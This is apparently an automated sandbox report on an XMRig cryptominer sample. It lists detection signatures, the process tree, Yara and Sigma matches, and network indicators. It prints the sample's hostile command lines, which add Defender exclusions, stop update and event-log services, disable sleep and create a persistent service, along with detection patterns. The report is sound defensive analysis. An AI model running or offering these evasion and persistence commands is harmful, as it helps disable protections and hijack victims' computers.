Edit tour

Windows Analysis Report
prog.exe

Overview

General Information

Sample name:	prog.exe
Analysis ID:	1542825
MD5:	d3adc3ec7b76556b7fac591c33f31ea9
SHA1:	b7295fae70f550aa2963da196b08636094e26e93
SHA256:	25231ba6616c0c1bbc4dda82bdd46ad067577e16971bae412b1192b250b456dc
Tags:	exeuser-aachum
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Found strings related to Crypto-Mining

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Protects its processes via BreakOnTermination flag

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspect Svchost Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

prog.exe (PID: 5580 cmdline: "C:\Users\user\Desktop\prog.exe" MD5: D3ADC3EC7B76556B7FAC591C33F31EA9)

powershell.exe (PID: 3856 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 984 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 1440 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 1020 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3032 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2104 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2284 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1492 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6128 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7124 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6208 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 4072 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1632 cmdline: C:\Windows\system32\sc.exe delete "appdata" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2260 cmdline: C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6204 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 1968 cmdline: C:\Windows\system32\sc.exe start "appdata" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svhost.exe (PID: 1576 cmdline: C:\ProgramData\win32\svhost.exe MD5: D3ADC3EC7B76556B7FAC591C33F31EA9)

powershell.exe (PID: 2820 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7056 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4592 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 6148 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 5500 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3608 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6972 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5136 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5800 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1524 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2680 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3448 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2992 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 4696 cmdline: svchost.exe MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 5860 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37eb98:$a1: mining.set_target 0x370e20:$a2: XMRIG_HOSTNAME 0x373748:$a3: Usage: xmrig [OPTIONS] 0x370df8:$a4: XMRIG_VERSION
Process Memory Space: svchost.exe PID: 4696	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: svchost.exe PID: 4696	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x6996e:$a1: mining.set_target 0x66117:$a2: XMRIG_HOSTNAME 0x66e8f:$a3: Usage: xmrig [OPTIONS] 0x660f8:$a4: XMRIG_VERSION

Unpacked PEs

Source	Rule	Description	Author	Strings
60.2.svchost.exe.140000000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
60.2.svchost.exe.140000000.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x37ef98:$a1: mining.set_target 0x371220:$a2: XMRIG_HOSTNAME 0x373b48:$a3: Usage: xmrig [OPTIONS] 0x3711f8:$a4: XMRIG_VERSION
60.2.svchost.exe.140000000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x3c8ee1:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
60.2.svchost.exe.140000000.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x3c9748:$s1: %s/%s (Windows NT %lu.%lu 0x3cd180:$s3: \\.\WinRing0_ 0x376148:$s4: pool_wallet 0x3705f0:$s5: cryptonight 0x370600:$s5: cryptonight 0x370610:$s5: cryptonight 0x370620:$s5: cryptonight 0x370638:$s5: cryptonight 0x370648:$s5: cryptonight 0x370658:$s5: cryptonight 0x370670:$s5: cryptonight 0x370680:$s5: cryptonight 0x370698:$s5: cryptonight 0x3706b0:$s5: cryptonight 0x3706c0:$s5: cryptonight 0x3706d0:$s5: cryptonight 0x3706e0:$s5: cryptonight 0x3706f8:$s5: cryptonight 0x370710:$s5: cryptonight 0x370720:$s5: cryptonight 0x370730:$s5: cryptonight

Sigma Signatures

Change of critical system settings

Sigma detected: Disable power options

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\powercfg.exe, NewProcessName: C:\Windows\System32\powercfg.exe, OriginalFileName: C:\Windows\System32\powercfg.exe, ParentCommandLine: "C:\Users\user\Desktop\prog.exe", ParentImage: C:\Users\user\Desktop\prog.exe, ParentProcessId: 5580, ParentProcessName: prog.exe, ProcessCommandLine: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0, ProcessId: 6128, ProcessName: powercfg.exe

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\prog.exe", ParentImage: C:\Users\user\Desktop\prog.exe, ParentProcessId: 5580, ParentProcessName: prog.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3856, ProcessName: powershell.exe

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\ProgramData\win32\svhost.exe, ParentImage: C:\ProgramData\win32\svhost.exe, ParentProcessId: 1576, ParentProcessName: svhost.exe, ProcessCommandLine: svchost.exe, ProcessId: 4696, ProcessName: svchost.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\ProgramData\win32\svhost.exe, ParentImage: C:\ProgramData\win32\svhost.exe, ParentProcessId: 1576, ParentProcessName: svhost.exe, ProcessCommandLine: svchost.exe, ProcessId: 4696, ProcessName: svchost.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto", CommandLine: C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto", CommandLine|base64offset|contains: r, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\prog.exe", ParentImage: C:\Users\user\Desktop\prog.exe, ParentProcessId: 5580, ParentProcessName: prog.exe, ProcessCommandLine: C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto", ProcessId: 2260, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\prog.exe", ParentImage: C:\Users\user\Desktop\prog.exe, ParentProcessId: 5580, ParentProcessName: prog.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force, ProcessId: 3856, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: C:\ProgramData\win32\svhost.exe, ParentImage: C:\ProgramData\win32\svhost.exe, ParentProcessId: 1576, ParentProcessName: svhost.exe, ProcessCommandLine: svchost.exe, ProcessId: 4696, ProcessName: svchost.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Stop EventLog

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\sc.exe stop eventlog, CommandLine: C:\Windows\system32\sc.exe stop eventlog, CommandLine|base64offset|contains: ), Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "C:\Users\user\Desktop\prog.exe", ParentImage: C:\Users\user\Desktop\prog.exe, ParentProcessId: 5580, ParentProcessName: prog.exe, ProcessCommandLine: C:\Windows\system32\sc.exe stop eventlog, ProcessId: 6204, ProcessName: sc.exe

Suricata Signatures

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T16:36:14.260707+0200	2036289	2	Crypto Currency Mining Activity Detected	192.168.2.5	58750	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\win32\svhost.exe

ReversingLabs: Detection: 73%

Multi AV Scanner detection for submitted file

Source: prog.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4696, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: svchost.exe	String found in binary or memory: cryptonight-monerov7
Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: prog.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: svhost.exe, 00000023.00000003.2340216080.000002207FB50000.00000004.00000001.00020000.00000000.sdmp, pnhtlztmuvjx.sys.35.dr

Source: Joe Sandbox View

IP Address: 95.179.241.203 95.179.241.203

Source: Network traffic

Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.5:58750 -> 1.1.1.1:53

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: pool.hashvault.pro

Source: svhost.exe, 00000023.00000003.2340216080.000002207FB50000.00000004.00000001.00020000.00000000.sdmp, pnhtlztmuvjx.sys.35.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: svhost.exe, 00000023.00000003.2340216080.000002207FB50000.00000004.00000001.00020000.00000000.sdmp, pnhtlztmuvjx.sys.35.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: svhost.exe, 00000023.00000003.2340216080.000002207FB50000.00000004.00000001.00020000.00000000.sdmp, pnhtlztmuvjx.sys.35.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: svhost.exe, 00000023.00000003.2340216080.000002207FB50000.00000004.00000001.00020000.00000000.sdmp, pnhtlztmuvjx.sys.35.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://172.94.1q
Source: svchost.exe, 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\ProgramData\win32\svhost.exe	Process information set: 01 00 00 00			Jump to behavior
Source: C:\ProgramData\win32\svhost.exe	Process information set: 01 00 00 00			Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: svchost.exe PID: 4696, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Desktop\prog.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\prog.exe	Code function: 0_2_00007FF6F1FB1394 NtCloseObjectAuditAlarm,	0_2_00007FF6F1FB1394
Source: C:\ProgramData\win32\svhost.exe	Code function: 35_2_00007FF7E32F1394 NtAllocateUserPhysicalPagesEx,	35_2_00007FF7E32F1394
Source: C:\Windows\System32\conhost.exe	Code function: 58_2_0000000140001394 NtPlugPlayControl,	58_2_0000000140001394

Source: C:\ProgramData\win32\svhost.exe

File created: C:\Windows\TEMP\pnhtlztmuvjx.sys

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_agef4gqi.jsx.ps1

Jump to behavior

Source: C:\Users\user\Desktop\prog.exe	Code function: 0_2_00007FF6F1FB6628	0_2_00007FF6F1FB6628
Source: C:\Users\user\Desktop\prog.exe	Code function: 0_2_00007FF6F1FB6628	0_2_00007FF6F1FB6628
Source: C:\ProgramData\win32\svhost.exe	Code function: 35_2_00007FF7E32F6628	35_2_00007FF7E32F6628
Source: C:\ProgramData\win32\svhost.exe	Code function: 35_2_00007FF7E32F6628	35_2_00007FF7E32F6628
Source: C:\Windows\System32\conhost.exe	Code function: 58_2_0000000140003150	58_2_0000000140003150
Source: C:\Windows\System32\conhost.exe	Code function: 58_2_00000001400026E0	58_2_00000001400026E0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\win32\svhost.exe 25231BA6616C0C1BBC4DDA82BDD46AD067577E16971BAE412B1192B250B456DC
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\pnhtlztmuvjx.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Users\user\Desktop\prog.exe	Code function: String function: 00007FF6F1FB1394 appears 33 times
Source: C:\ProgramData\win32\svhost.exe	Code function: String function: 00007FF7E32F1394 appears 33 times

Source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 60.2.svchost.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
